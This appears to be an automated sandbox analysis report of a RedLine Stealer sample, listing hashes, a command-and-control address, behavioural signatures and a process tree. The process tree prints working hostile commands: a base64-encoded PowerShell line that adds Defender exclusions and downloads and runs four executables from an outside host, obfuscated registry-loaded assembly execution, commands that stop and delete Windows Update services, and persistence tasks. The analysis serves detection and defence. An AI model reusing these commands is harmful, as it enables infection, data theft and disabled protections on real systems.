Analysis
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max time kernel
151s -
max time network
59s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
11-01-2023 18:41
Static task
static1
Behavioral task
behavioral1
Sample
84fa342db3e61b9a30b76763efbbfaea700476a8.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
84fa342db3e61b9a30b76763efbbfaea700476a8.exe
Resource
win10v2004-20220812-en
General
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Target
84fa342db3e61b9a30b76763efbbfaea700476a8.exe
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Size
247KB
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MD5
1eed44b17228fbc5779f5bb908161e73
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SHA1
84fa342db3e61b9a30b76763efbbfaea700476a8
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SHA256
ef977f35deec3d30dceafdc1b9ba117928ce3f78156dfa63596bcdf1d0d81d8b
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SHA512
3ac850fe79c9f20e2311898f2e9b57a4fc9f45e135b916822105afa00528fc16f73fdf89a7cfdcd020fc4c7f855a12cb8b4dd7b969146fa8e68d104b3b3e4b5a
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SSDEEP
6144:w93F+3NnZo50r9uMlWr1o1XUQTH3oXx/EAOhxm09nmvc:S4tZo50r9uMlWg1ZrxtnF
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/1668-100-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1668-107-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1668-108-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1668-105-0x000000000041ADAE-mapping.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
SmartDefRun.exepowershell.EXEdescription pid process target process PID 1676 created 1424 1676 SmartDefRun.exe Explorer.EXE PID 1676 created 1424 1676 SmartDefRun.exe Explorer.EXE PID 1676 created 1424 1676 SmartDefRun.exe Explorer.EXE PID 1676 created 1424 1676 SmartDefRun.exe Explorer.EXE PID 1252 created 420 1252 powershell.EXE winlogon.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1136 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
Processes:
SmartDefRun.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
Processes:
C4Loader.exenew2.exeSysApp.exeSmartDefRun.exepid process 596 C4Loader.exe 1516 new2.exe 1932 SysApp.exe 1676 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 10 IoCs
Processes:
powershell.exeWerFault.exepid process 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 284 WerFault.exe 284 WerFault.exe 284 WerFault.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 6 IoCs
Processes:
powershell.exepowershell.exepowershell.EXEpowershell.EXEsvchost.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
84fa342db3e61b9a30b76763efbbfaea700476a8.exenew2.exeSmartDefRun.exepowershell.EXEdescription pid process target process PID 900 set thread context of 1992 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe vbc.exe PID 1516 set thread context of 1668 1516 new2.exe vbc.exe PID 1676 set thread context of 808 1676 SmartDefRun.exe dialer.exe PID 1252 set thread context of 1136 1252 powershell.EXE dllhost.exe -
Drops file in Program Files directory 1 IoCs
Processes:
SmartDefRun.exedescription ioc process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 1576 sc.exe 1772 sc.exe 1860 sc.exe 364 sc.exe 576 sc.exe -
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 1316 900 WerFault.exe 84fa342db3e61b9a30b76763efbbfaea700476a8.exe 284 1516 WerFault.exe new2.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1712 schtasks.exe 1564 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.EXEdescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e081f3cdf425d901 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeSysApp.exeSmartDefRun.exepowershell.exepowershell.exepowershell.EXEpowershell.EXEvbc.exedllhost.exepid process 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1136 powershell.exe 1932 SysApp.exe 1932 SysApp.exe 1932 SysApp.exe 1932 SysApp.exe 1932 SysApp.exe 1676 SmartDefRun.exe 1676 SmartDefRun.exe 1248 powershell.exe 1676 SmartDefRun.exe 1676 SmartDefRun.exe 1676 SmartDefRun.exe 1676 SmartDefRun.exe 2044 powershell.exe 1676 SmartDefRun.exe 1676 SmartDefRun.exe 1252 powershell.EXE 1876 powershell.EXE 1668 vbc.exe 1252 powershell.EXE 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe 1136 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEpowershell.EXEvbc.exedllhost.exedescription pid process Token: SeDebugPrivilege 1136 powershell.exe Token: SeDebugPrivilege 1248 powershell.exe Token: SeDebugPrivilege 2044 powershell.exe Token: SeDebugPrivilege 1252 powershell.EXE Token: SeDebugPrivilege 1876 powershell.EXE Token: SeDebugPrivilege 1668 vbc.exe Token: SeDebugPrivilege 1252 powershell.EXE Token: SeDebugPrivilege 1136 dllhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
84fa342db3e61b9a30b76763efbbfaea700476a8.exevbc.exepowershell.exenew2.execmd.exedescription pid process target process PID 900 wrote to memory of 1992 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe vbc.exe PID 900 wrote to memory of 1992 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe vbc.exe PID 900 wrote to memory of 1992 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe vbc.exe PID 900 wrote to memory of 1992 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe vbc.exe PID 900 wrote to memory of 1992 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe vbc.exe PID 900 wrote to memory of 1992 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe vbc.exe PID 900 wrote to memory of 1316 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe WerFault.exe PID 900 wrote to memory of 1316 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe WerFault.exe PID 900 wrote to memory of 1316 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe WerFault.exe PID 900 wrote to memory of 1316 900 84fa342db3e61b9a30b76763efbbfaea700476a8.exe WerFault.exe PID 1992 wrote to memory of 1136 1992 vbc.exe powershell.exe PID 1992 wrote to memory of 1136 1992 vbc.exe powershell.exe PID 1992 wrote to memory of 1136 1992 vbc.exe powershell.exe PID 1992 wrote to memory of 1136 1992 vbc.exe powershell.exe PID 1136 wrote to memory of 596 1136 powershell.exe C4Loader.exe PID 1136 wrote to memory of 596 1136 powershell.exe C4Loader.exe PID 1136 wrote to memory of 596 1136 powershell.exe C4Loader.exe PID 1136 wrote to memory of 596 1136 powershell.exe C4Loader.exe PID 1136 wrote to memory of 1516 1136 powershell.exe new2.exe PID 1136 wrote to memory of 1516 1136 powershell.exe new2.exe PID 1136 wrote to memory of 1516 1136 powershell.exe new2.exe PID 1136 wrote to memory of 1516 1136 powershell.exe new2.exe PID 1136 wrote to memory of 1932 1136 powershell.exe SysApp.exe PID 1136 wrote to memory of 1932 1136 powershell.exe SysApp.exe PID 1136 wrote to memory of 1932 1136 powershell.exe SysApp.exe PID 1136 wrote to memory of 1932 1136 powershell.exe SysApp.exe PID 1136 wrote to memory of 1676 1136 powershell.exe SmartDefRun.exe PID 1136 wrote to memory of 1676 1136 powershell.exe SmartDefRun.exe PID 1136 wrote to memory of 1676 1136 powershell.exe SmartDefRun.exe PID 1136 wrote to memory of 1676 1136 powershell.exe SmartDefRun.exe PID 1516 wrote to memory of 1668 1516 new2.exe vbc.exe PID 1516 wrote to memory of 1668 1516 new2.exe vbc.exe PID 1516 wrote to memory of 1668 1516 new2.exe vbc.exe PID 1516 wrote to memory of 1668 1516 new2.exe vbc.exe PID 1516 wrote to memory of 1668 1516 new2.exe vbc.exe PID 1516 wrote to memory of 1668 1516 new2.exe vbc.exe PID 1516 wrote to memory of 284 1516 new2.exe WerFault.exe PID 1516 wrote to memory of 284 1516 new2.exe WerFault.exe PID 1516 wrote to memory of 284 1516 new2.exe WerFault.exe PID 1516 wrote to memory of 284 1516 new2.exe WerFault.exe PID 1732 wrote to memory of 1772 1732 cmd.exe sc.exe PID 1732 wrote to memory of 1772 1732 cmd.exe sc.exe PID 1732 wrote to memory of 1772 1732 cmd.exe sc.exe PID 1732 wrote to memory of 1860 1732 cmd.exe sc.exe PID 1732 wrote to memory of 1860 1732 cmd.exe sc.exe PID 1732 wrote to memory of 1860 1732 cmd.exe sc.exe PID 1732 wrote to memory of 364 1732 cmd.exe sc.exe PID 1732 wrote to memory of 364 1732 cmd.exe sc.exe PID 1732 wrote to memory of 364 1732 cmd.exe sc.exe PID 1732 wrote to memory of 576 1732 cmd.exe sc.exe PID 1732 wrote to memory of 576 1732 cmd.exe sc.exe PID 1732 wrote to memory of 576 1732 cmd.exe sc.exe PID 1732 wrote to memory of 1576 1732 cmd.exe sc.exe PID 1732 wrote to memory of 1576 1732 cmd.exe sc.exe PID 1732 wrote to memory of 1576 1732 cmd.exe sc.exe PID 1732 wrote to memory of 1928 1732 cmd.exe reg.exe PID 1732 wrote to memory of 1928 1732 cmd.exe reg.exe PID 1732 wrote to memory of 1928 1732 cmd.exe reg.exe PID 1732 wrote to memory of 1976 1732 cmd.exe reg.exe PID 1732 wrote to memory of 1976 1732 cmd.exe reg.exe PID 1732 wrote to memory of 1976 1732 cmd.exe reg.exe PID 1732 wrote to memory of 320 1732 cmd.exe reg.exe PID 1732 wrote to memory of 320 1732 cmd.exe reg.exe PID 1732 wrote to memory of 320 1732 cmd.exe reg.exe
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:480
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:796
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1028
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1804
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:680
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:272
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:872 -
C:\Windows\system32\taskeng.exetaskeng.exe {A5C179E7-48FB-44C7-AD13-AEBA3FC38ABE} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:1796
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('d'+[Char](105)+''+'a'+''+'l'+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+'ger')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1876
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'T'+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+'i'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:832
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:588
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c48f4f34-fd61-484e-a924-fecbaaeff328}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1136
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:488
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1424
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C:\Users\Admin\AppData\Local\Temp\84fa342db3e61b9a30b76763efbbfaea700476a8.exe"C:\Users\Admin\AppData\Local\Temp\84fa342db3e61b9a30b76763efbbfaea700476a8.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:596
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1668
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 1166⤵
- Loads dropped DLL
- Program crash
PID:284
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1932 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1564
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1676
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 483⤵
- Program crash
PID:1316
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1248
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1772
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1860
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:364
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:576
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1576
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1928
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1976
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:320
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:568
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:624
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1712
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:808
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:1764
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "109253724-567959356-1028808869912669596-5649941481453252326-1568597773-1334840746"1⤵PID:1072
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
